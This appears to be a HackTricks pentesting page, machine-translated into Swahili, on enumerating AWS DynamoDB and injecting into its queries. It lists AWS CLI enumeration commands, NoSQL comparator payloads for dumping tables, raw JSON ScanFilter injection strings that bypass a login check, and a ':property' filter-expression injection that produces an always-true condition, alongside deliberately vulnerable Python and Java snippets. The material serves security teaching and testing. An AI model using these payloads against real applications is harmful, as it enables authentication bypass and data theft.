AWS - DynamoDB Enum

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

DynamoDB

Basic Information

Amazon DynamoDB inatolewa na AWS kama hifadhidata ya NoSQL isiyo na seva, inayosimamiwa kikamilifu, ya funguo-thamani, iliyoundwa kwa ajili ya kuendesha programu zenye utendaji wa juu bila kujali ukubwa wao. Huduma hii inahakikisha vipengele thabiti ikiwa ni pamoja na hatua za usalama zilizojengwa ndani, nakala zisizokatizwa, urekebishaji wa kiotomatiki katika maeneo mbalimbali, uhifadhi wa data wa ndani uliojumuishwa, na zana rahisi za kusafirisha data.

Katika muktadha wa DynamoDB, badala ya kuunda hifadhidata ya jadi, meza zinaanzishwa. Kila meza inahitaji ufafanuzi wa funguo ya sehemu kama sehemu muhimu ya funguo ya msingi ya meza. Funguo hii ya sehemu, ambayo kimsingi ni thamani ya hash, ina jukumu muhimu katika upatikanaji wa vitu na usambazaji wa data kati ya wenyeji mbalimbali. Usambazaji huu ni muhimu kwa kudumisha upanuzi na upatikanaji wa hifadhidata. Aidha, kuna chaguo la kuingiza funguo ya kupanga ili kuboresha zaidi shirika la data.

Encryption

Kwa kawaida, DynamoDB inatumia funguo ya KMS ambayo inamilikiwa na Amazon DynamoDB, si funguo inayosimamiwa na AWS ambayo angalau inamilikiwa na akaunti yako.

Backups & Export to S3

Inawezekana kuandaa uzalishaji wa nakala za meza au kuziunda kwa ombwe. Aidha, inawezekana pia kuwezesha Urejeleaji wa wakati (PITR) kwa meza. Urejeleaji wa wakati unatoa nakala za data zako za DynamoDB kwa siku 35 ili kusaidia kulinda dhidi ya shughuli za kuandika au kufuta zisizokusudiwa.

Pia inawezekana kusafirisha data ya meza kwenda S3, lakini meza inahitaji kuwa na PITR imewezeshwa.

GUI

Kuna GUI kwa huduma za Dynamo za ndani kama DynamoDB Local, dynalite, localstack, nk, ambazo zinaweza kuwa na manufaa: https://github.com/aaronshaf/dynamodb-admin

Enumeration

bash
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

Upatikanaji Usio na Uthibitisho

AWS - DynamoDB Unauthenticated Access

Privesc

AWS - DynamoDB Privesc

Baada ya Utekelezaji

AWS - DynamoDB Post Exploitation

Kudumu

AWS - DynamoDB Persistence

DynamoDB Injection

SQL Injection

Kuna njia za kufikia data za DynamoDB kwa kutumia SQL syntax, hivyo basi, SQL injections za kawaida pia zinaweza kutokea.

SQL Injection - HackTricks

NoSQL Injection

Katika DynamoDB masharti tofauti yanaweza kutumika kupata data, kama katika NoSQL Injection ya kawaida ikiwa inawezekana kuunganisha masharti zaidi ili kupata data unaweza kupata data iliyofichwa (au kupakua jedwali lote).
Unaweza kupata hapa masharti yanayoungwa mkono na DynamoDB: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

Kumbuka kwamba masharti tofauti yanayoungwa mkono ikiwa data inafikiwa kupitia query au kupitia scan.

note

Kwa kweli, hatua za Query zinahitaji kubainisha sharti "EQ" (sawa) katika funguo ya msingi ili kufanya kazi, na kufanya iwe hasi uwezekano wa NoSQL injections (na pia kufanya operesheni hiyo kuwa na mipaka sana).

Ikiwa unaweza kubadilisha kulinganisha kunakofanywa au kuongeza mpya, unaweza kupata data zaidi.

bash
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

NoSQL injection - HackTricks

Uingizaji wa Raw Json

caution

Uthibitisho huu unategemea dynamodb Scan Filter ambayo sasa imeondolewa!

DynamoDB inakubali Json vitu kutafuta data ndani ya DB. Ikiwa utagundua kuwa unaweza kuandika katika kitu cha json kilichotumwa kutafuta, unaweza kufanya DB dump, maudhui yote.

Kwa mfano, kuingiza katika ombi kama:

bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

mshambuliaji anaweza kuingiza kitu kama:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

sahihisha hali ya "EQ" ikitafuta ID 1000 na kisha kutafuta data zote zikiwa na mfuatano wa Id kubwa zaidi ya 0, ambayo ni zote.

Mfano mwingine ulio hatarini ukitumia kuingia unaweza kuwa:

python
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

Hii itakuwa hatarini kwa:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

Baadhi ya SDKs zinaruhusu kutumia mfuatano unaoashiria uchujaji utakaofanywa kama:

java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

Unahitaji kujua kwamba kutafuta katika DynamoDB kwa kubadilisha thamani ya sifa katika maelezo ya filtr wakati wa kusoma vitu, tokeni zinapaswa kuanza na tabia ya :. Tokeni hizo zitabadilishwa na thamani halisi ya sifa wakati wa wakati wa kutekeleza.

Hivyo, kuingia kama ile ya awali inaweza kupuuziliwa mbali kwa kitu kama:

bash
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks